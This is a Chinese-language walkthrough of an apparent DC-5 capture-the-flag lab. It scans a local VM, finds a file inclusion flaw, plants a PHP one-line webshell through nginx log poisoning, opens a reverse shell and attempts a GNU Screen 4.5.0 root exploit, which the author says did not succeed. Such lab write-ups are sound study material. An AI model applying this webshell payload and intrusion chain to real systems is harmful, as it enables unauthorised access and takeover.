1、扫描局域网存活IP
因为是在我们本机,所以我们可以知道靶机的mac地址,根据mac地址来寻找ip
实战的时候需要我们仔细的观察
2、进行端口扫描
nmap -p- -sV -O 192.168.0.149
-p- 对所有端口进行扫描
-sV 把每个端口的详细信息扫出来
-O 扫描操作系统
3、查看网站信息和访问80端口
因为我们扫描出来该靶机开启了80端口,所以我们可以进行访问并且查看该网站的信息
我们可以知道使用的nginx的服务
进入网页后,我们查看5个小标题里面是否有可用的信息,最后
我们在里面发现contact可以进行留言,因此我们可以试一试xss注入
<script>alert(1)</script>
进行提交发现没有提示
我们再次提交一下看看
可以发现他的底部时间发生了变化,因此我们可以猜测他是否含有文件包含漏洞
4、我们可以进行目录扫描
直接使用kali自带的
dirsearch -u 192.168.0.149
我们可以注意到两个可疑文件一个时footer.php和thankyou.php,根据上文我可以发现thankyou.php就是我们提交的完留言返回页面,所以没什么用 ,所以我们查看一下footer.php
因此我们可以知道在thankyou.php中包含footer.php
因此我们可以尝试一下?file=/etc/passwd去试探有没有文件包含漏洞
我们可以发现有文件包含漏洞,我们使用burp进行抓包
写入一句话木马<?php eval($_POST['w']) ?>
又因为我们查看的网站时nginx服务器因此我们可以去查看一下日志文件
cat /var/log/nginx/access.log
cat /var/log/nginx/error.log
写入成功后我尝试去查看了nginx的access.log发现没有我们传进去的信息,但是在error.log中发现有这我们这个一句话木马,因此我们可以使用蚁剑连接(我们在查看信息的时候,可以直接查看源代码方便观察)
5、 接着我们就可以使用反弹shell进行连接
首先在kali中进行监听
然后我们使用蚁剑连接的虚拟终端进行nc反弹
6、建立交互式环境
python -c 'import pty;pty.spawn("/bin/bash")'
7、提权
首先我们可以检查是否可以使用suid进行提权
find / -perm -u=s -type f 2>/dev/null
看到有个screen-4.5.0的版本号
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能,去kali漏洞库查找一下
searchsploit screen 4.5.0
第一步
编译
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
第二步
编译
gcc -o /tmp/rootshell /tmp/rootshell.c
最后一步:
将第三个框里内容保存为第三个文件,命名随意,我这里保存为dc5.sh。
注意:如果你不是保存在tmp目录下的,编译的时候,把命令行的的/tmp/去掉。
编译好结束之后,将libhax.so,rootshell,dc5.sh上传至靶机的tmp目录下(为什么是这个目录呢,主要是因为一般情况下,这个路径的限制比较小,我尝试传到其他目录没有成功,而且第三部分已经提示放在/tmp下了)
将剩下部分的脚本代码写入到
dc5.sh
文件中,在开头加上#!/bin/bash
注明执行环境保存需要输入为
set ff=unix
,是为了防止脚本的格式错误(这很重要!!!!)
接着我们需要上传这三个文件到靶机的/tmp文件下
我们可以看见只能上传/tmp下能成功
为dc5.sh
增加可执行权限,执行dc5.sh
文件,成功获取到root权限
我这里因为版本问题最后无法提权,以后解决完了在上传